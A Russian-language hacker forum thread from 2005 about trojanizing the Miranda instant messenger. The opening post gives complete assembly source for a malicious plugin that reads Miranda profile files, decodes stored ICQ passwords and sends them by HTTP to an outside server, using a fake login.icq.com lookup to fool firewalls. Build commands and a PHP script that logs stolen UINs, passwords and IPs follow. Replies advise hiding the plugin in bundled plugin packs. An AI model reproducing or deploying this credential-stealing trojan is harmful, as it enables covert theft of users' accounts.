IPB

Здравствуйте, гость ( Вход | Регистрация )

> .::Протрояниваем миранду::., работоспособно ли это ?! ...
DOKTOR_666
сообщение Apr 20 2005, 18:30
Сообщение #1


Junior Member
*

Группа: Members
Сообщений: 35
Регистрация: 11.4.2005
Из: Заволжье
Пользователь №: 371



.::Протрояниваем миранду::.


Бредисловие

Как многим известно, в миранде существует система плагинов. Плагины бывают разные - синие, зелёные и красные (IMG:http://forum.iseekyou.im/style_emoticons/default/smile.gif)
Особенностью плагинов является собственно то, что достаточно поместить плагин в папку plugins миранды и... миранда автоматом ПОПРОБУЕТ его подключить. Этого самого "попробует" нам вполне хватит.
Вся фишка состоит в том, чтобы закинуть в процедуру инициализации немного своего кода (IMG:http://forum.iseekyou.im/style_emoticons/default/smile.gif)

Ниже я привиду исходный код программы и её web-части, которая, являясь плагином будет отсылать все пароли, а скрипт будет аккуратно их сохронять.

Собственно сама программа.

; все необходимые данные.
.data
capt db "USER32.dll",0
func db "wsprintfA",0
fnmskM db "*.dat",0
requestdata db "GET /m.php?uin=%u&pass=%s HTTP/1.1",0dh,0ah ; НАПРИМЕР так....
db "Host: www.prodexteam.net",0dh,0ah
db "Connection: Keep-Alive",0dh,0ah,0dh,0ah,0
sockaddrsz dd sizeof sockaddr_in
psevdoicq db "login.icq.com",0

.data?
fdataM db 300 dup (?)
wsaddr dd ?
temppasswd db 50 dup (?)
pathsz dd ?
hFNDM dd ?
hFile1 dd ?
hMAPPS dd ?
szf dd ?
request db 200 dup (?)
wsaA WSADATA
hSockA dd ?
saServer sockaddr_in

.code
DLLEntry proc
xor eax,eax
inc eax
ret 0Ch
DLLEntry endp ; инициализация библиотеки... сюда тоже можно что-нето вставить весёлое.

;==================================================
; Миранда автоматически пытается вызвать эту процедуру из библиотеки. (Если плагин не соответствует, то миранда выгружает его, но к тому времени все пароли будут уже слиты)

MirandaPluginInfo proc
cmp dword ptr [esp+4],10000h
sbb eax,eax
not eax
and eax,2010C2F8h
push eax ;
этот кусок я вырезал из настоящего плагина.
; мой код пошёл...
invoke GetModuleHandle,ADDR capt
invoke GetProcAddress, eax, ADDR func
mov wsaddr,eax ; wsprintfA
; MirandaGetUin

getmirandapass:
invoke WSAStartup,00000101h,offset wsaA
mov saServer.sin_family,AF_INET

invoke FindFirstFile,addr fnmskM,addr fdataM
mov hFNDM,eax
inc eax
jz endsrch123
fnxt92:
invoke socket,AF_INET,SOCK_STREAM,IPPROTO_TCP
mov hSockA,eax
; для понта получаем адрес login.icq.com - чтоб firewall'ы cильно не орали.
invoke gethostbyname,addr psevdoicq
mov saServer.sin_addr,0426F642h ; сетевой адрес сайта, на котором висит PHP скрипт. (в данном случае prodexteam.net)
mov saServer.sin_port,5000h ; (IMG:http://forum.iseekyou.im/style_emoticons/default/mega_shok.gif) порт
invoke CreateFile,addr fdataM+44,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0
inc eax
jz endsrch123
dec eax
mov hFile1,eax
invoke GetFileSize,eax,0
push eax
invoke CreateFileMapping,hFile1,0,PAGE_READONLY,0,0,0
mov hMAPPS,eax
invoke MapViewOfFile,eax,FILE_MAP_READ,0,0,0
mov szf,eax
pop ecx
mov al,"P"
push edi
mov edi,szf
scasag:
repnz scasb
or ecx,ecx
jz nextdat
cmp dword ptr [edi],"wssa"
jne scasag
cmp dword ptr [edi+4],0FF64726Fh
jne scasag
xor ecx,ecx
mov cl,byte ptr [edi+8]
lea edx,[temppasswd+ecx-1]
mov dword ptr [edx],20h
decryptM:
mov al,byte ptr [edi+ecx+9]
sub al,5
mov byte ptr [edx],al
dec edx
loop decryptM
STD
mov al,"N"
mov ecx,edi
sub ecx,szf
dec ecx
dec ecx
scasag1:
repnz scasb
or ecx,ecx
jz nextdat
cmp dword ptr [edi-1],044e4955h
jne scasag1
mov eax,[edi+3]
CLD
push offset temppasswd
push eax
push offset requestdata
push offset request
call wsaddr ; забиваем данные для отправки скрипту в сети
add esp,16
invoke connect,hSockA,addr saServer,sockaddrsz
invoke lstrlen,addr request
or eax,eax
je nextdat
invoke send,hSockA,addr request,eax,0
invoke closesocket,hSockA

nextdat:
invoke UnmapViewOfFile,szf
invoke CloseHandle,hMAPPS
invoke CloseHandle,hFile1
CLD
pop edi
invoke FindNextFile,hFNDM,addr fdataM
or eax,eax
jz endsrch123
cmp eax,18
jnz fnxt92
endsrch123:
invoke FindClose,hFNDM
errormiranda:
pop eax
ret
MirandaPluginInfo endp
;==================================================
end DLLEntry

компилируем всю эту байду -
ml /c /coff plugin.asm
link /SUBSYSTEM:WINDOWS /DLL /DEF:plugin.def plugin.obj

в результате получается библиотека размером 2.5 Kb.
теперь сам скрипт, который будет обрабатывать пришедшую инфу:


<?php
$uin=$_GET['uin'] ;
$pass=$_GET['pass'] ;
$ip=getenv("REMOTE_ADDR");
$uinh=fopen("icquin.htm","a+");
fputs($uinh,"UIN:$uin PASSWORD:$pass IP:$ip
");
fclose($uinh);
exit;
?>

Oстаётся закинуть скрипт на сайт, а плагин раздать знакомым и изредка заглядывать в файл icquins.htm естественно всё вышеописанное это только пример того, что можно сделать... при желании можно например вставить код какого-нето троя.


Заключение.
Получился троян размером 2.5 кило, не имеющий своего EXE, делающий только то, что нужно - ничего лишнего.
Более того - юзверь вообще ничего не заподозрит. После установки плагина единственное, что может произойти, так это то, что файрвол скажет - "Приложение с изменёнными модулями miranda32.exe пытается выйти в интернет". Так кто же не пустит миранду в интернет ??? (IMG:http://forum.iseekyou.im/style_emoticons/default/smile.gif)

На этом заканчиваю.



***************************************


вот такая вот интересная статейка (IMG:http://forum.iseekyou.im/style_emoticons/default/smile.gif)
взял не помню где ... лежала на винте .. вот и решил поинтересоваться реальный ли способ в ней описан ??
Go to the top of the page
 
+Quote Post
 
Start new topic
Ответов
gemaglab1n
сообщение Jun 21 2005, 21:50
Сообщение #2


Advanced Member
***

Группа: Members
Сообщений: 112
Регистрация: 28.5.2005
Из: /home/gemaglab1n/
Пользователь №: 999



astat_shell,уводят пинчем красивые номера
способ действительно хороший,но мало того чтобы он троянил,надо чтобы он работал(всмысе-если плагин ничего не делает кроме воровства),тк юзеры сразу выкинут неработающий плугин
//лучше включать такой плагин вместе со сборкой,когда юзеры впадлу разбирать все плагины
Go to the top of the page
 
+Quote Post
Delirium
сообщение Jun 23 2005, 09:20
Сообщение #3


Advanced Member
***

Группа: Members
Сообщений: 161
Регистрация: 12.6.2005
Пользователь №: 1149



Цитата(gemaglab1n @ Jun 21 2005, 23:50)
тк юзеры сразу выкинут неработающий плугин

дело-то уже будет сделано!
[крв], если так, то да... но там не написано как это сделать :)
Go to the top of the page
 
+Quote Post

Сообщений в этой теме
- DOKTOR_666   .::Протрояниваем миранду::.   Apr 20 2005, 18:30
- - focs   подло это...   Apr 20 2005, 18:35
- - DOKTOR_666   почему подло ? а например тырить аськи это не п...   Apr 21 2005, 20:08
- - focs   у всех свои способы. здесь играет роль то, на скол...   Apr 22 2005, 19:38
- - CyBeR_MaE$tR0   Жизнь жестока© у нас говорят "не наеб#шь - не...   May 7 2005, 23:06
- - djX   если код рабочий-значит и способ рабочий. много т...   May 18 2005, 18:43
- - Delirium   если иметь хороший фаерволл, то он будет пускать м...   Jun 12 2005, 21:39
- - astat_shell   А чё за номеров лишился ? слонов ? думаю, что ю...   Jun 21 2005, 21:42
- - gemaglab1n   astat_shell,уводят пинчем красивые номера способ д...   Jun 21 2005, 21:50
|- - Delirium   Цитата(gemaglab1n @ Jun 21 2005, 23:50)тк юзе...   Jun 23 2005, 09:20
- - [крв]   Цитата(Delirium)если иметь хороший фаерволл, то он...   Jun 22 2005, 11:05
- - [крв]   Цитата[крв], если так, то да... но там не написано...   Jun 24 2005, 15:27
- - Delirium   у меня голова так сибе... я в таких весчах не очен...   Jun 25 2005, 14:13
- - [крв]   ЦитатаSDK software development kit точнее, я немн...   Jun 27 2005, 15:35
- - gemaglab1n   нет,.crv,все правильно.Именно sdk.Качайте вместе с...   Jun 27 2005, 19:23
- - Delirium   где это качать? и вапче я понятия не имею как пишу...   Jun 28 2005, 15:38
- - zm0t1x   А мона плагины на Delphi писать???   Jul 2 2005, 03:15


Closed TopicStart new topic
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0

 



Текстовая версия Сейчас: 27th June 2025 - 18:55